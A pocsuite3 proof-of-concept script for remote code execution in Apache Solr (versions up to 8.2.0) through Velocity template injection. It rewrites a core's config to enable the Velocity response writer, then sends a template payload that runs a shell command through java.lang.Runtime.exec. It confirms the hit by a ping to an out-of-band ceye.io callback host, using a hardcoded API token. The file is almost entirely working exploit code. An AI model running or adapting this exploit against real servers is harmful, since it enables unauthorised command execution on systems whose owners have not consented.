#!/usr/bin/env python
#_*_ encoding: utf-8 _*_

from pocsuite3.api import POCBase
from pocsuite3.api import Output
from pocsuite3.api import register_poc
from pocsuite3.api import requests
from pocsuite3.api import logger
from pocsuite3.api import OptString
from collections import OrderedDict
from pocsuite3.lib.utils import random_str
import json

class ApacheSolr(POCBase):
    vulID = '98097'
    version = '1.0'
    author = ['big04dream']
    vulDate = '2019-10-31'
    createDate = '2019-11-05'
    updateDate = '2019-11-05'
    references = ['https://www.seebug.org/vuldb/ssvid-98097']
    name = 'Apache Solr Remote Code Execution'
    appPowerLink = 'http://lucene.apache.org/solr/'
    appName = 'Apache Solr'
    appVersion = 'Solr <= 8.2.0'
    vulType = 'rce'
    desc = '''
    Apache solr模板注入漏洞
    '''

    def _options(self):
        o = OrderedDict()
        o['cmd'] = OptString('', description='这个poc需要输入命令', require=False)
        return o

    def _get_core_name(self, url):
        url += "/solr/admin/cores?wt=json&indexInfo=false"
        conn = requests.get(url=url)
        name = "big04dream"
        try:
            name = list(json.loads(conn.text)["status"])[0]
        except:
            pass
        return name

    def _update_config(self, url, name):
        url += "/solr/" + name + "/config"
        headers = {"Content-Type": "application/json"}
        post_data = """
        {
          "update-queryresponsewriter": {
            "startup": "lazy",
            "name": "velocity",
            "class": "solr.VelocityResponseWriter",
            "template.base.dir": "",
            "solr.resource.loader.enabled": "true",
            "params.resource.loader.enabled": "true"
          }
        }
        """
        conn = requests.request("POST", url, data=post_data, headers=headers)
        if conn.status_code != 200:
            logger.info('update config error')
            return False
        return True

    def _verify(self):
        result = {}
        p = 'ping '
        cmd = random_str(16) + '.6eb4yw.ceye.io'
        payload = p + cmd
        try:
            core_name = self._get_core_name(self.url)
            if self._update_config(self.url, core_name):
                url = self.url + "/solr/" + core_name + "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27" + payload + "%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
                response = requests.get(url=url)
                logger.info(response.text)
                res = requests.get('http://api.ceye.io/v1/records?token=2490ae17e5a04f03def427a596438995&type=dns')
                if cmd in res:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = url
                    result['VerifyInfo']['Payload'] = payload
        except Exception as e:
            logger.info(e)
        return self.parse_output(result)

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('not vulnerability')
        return output

register_poc(ApacheSolr)